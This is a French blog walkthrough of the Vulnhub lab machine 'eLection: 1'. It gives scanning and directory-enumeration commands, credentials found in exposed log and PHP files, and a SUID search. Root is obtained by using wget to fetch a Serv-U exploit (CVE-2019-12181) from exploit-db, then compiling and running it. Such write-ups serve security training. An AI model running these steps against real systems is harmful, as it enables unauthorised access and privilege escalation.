eLection: 1: Vulnhub CTF

Aujourd’hui, nous allons nous attaquer au CTF eLection: 1 que vous trouverez à cette adresse :

https://www.vulnhub.com/entry/election-1,503/

Pour rappel, on a généralement 4 phases dans un CTF :

  • Reconnaissance
  • Enumération
  • Exploitation
  • Escalade de privilèges

Reconnaissance :

On doit d’abord repérer la machine sur notre réseau :

netdiscover

La machine à attaquer est en 192.168.1.47 (paramètre variable suivant votre réseau).
Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :

nmap -A -p- 192.168.1.47

Rappel :
-A : Active la détection du système d’exploitation et des versions
-p- : On scanne sur la plage de port complet (entre 1 et 65535)

On voit qu’on a deux ports ouverts : 22 et 80. On va commencer par le classique : le port 80 !

Enumeration :

On tombe sur la page d’accueil par défaut d’Apache. On va essayer de trouver un répertoire ou un fichier à exploiter.

gobuster dir -u 192.168.1.47 -w /usr/share/dirb/wordlists/common.txt

Alors on voit qu’on a un phpmyadmin mais surtout qu’on a un fichier robots.txt

Dans la liste, on voit qu’il y a le CMS « eLection »

Exploitation :

Après avoir analyser le site (code source, les liens), pas d’avancer notable. On va essayer de voir ce qu’eLection a dans le ventre 🙂

dirb http://192.168.1.47/election/

Dans la liste, on remarque qu’il y a une section ‘admin’ ah ah ah ça c’est top ! Et encore mieux, un répertoire de logs 🙂

Après avoir téléchargé le fichier system.log, on trouve des paramètres de connexion

Et bien voilà, on peut se connecter en tant que « love » et trouver le flag « user.txt« 

Un des membres présents au CTF Party a fouillé dans les fichiers du CMS et en parcourant le contenu de « /var/www/html/election« , on trouve un fichier « card.php« . Il contient des données binaires qu’il faudra convertir deux fois de suite pour obtenir :

user:1234
pass:Zxc123!@#

Ce sont des identifiants permettant de se connecter à l’interface admin du CMS eLection

Un autre moyen trouvé est de fouiller les fichiers de config du CMS pour découvrir les paramètres de connexion à la base de données Mysql. En regardant dans les différentes tables, il a obtenu le même résultat.

On peut donc supposer qu’il y a un autre chemin possible en passant par phpmyadmin pour obtenir les paramètres de connexion de l’utilisateur « love« .

Escalade de privilèges :

find / -perm -u=s -type f 2>/dev/null

Dans la liste, on voit « Serv-U » qui sort du lot et on va voir du côté d’exploit-db.org et on trouve :

https://www.exploit-db.com/exploits/47009

wget https://www.exploit-db.com/exploits/47009 -O servu-pe-cve-2019-12181.c

gcc servu-pe-cve-2019-12181.c -o pe && ./pe

id

cat /root/root.txt

Et voilà, mission accomplie !!!

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.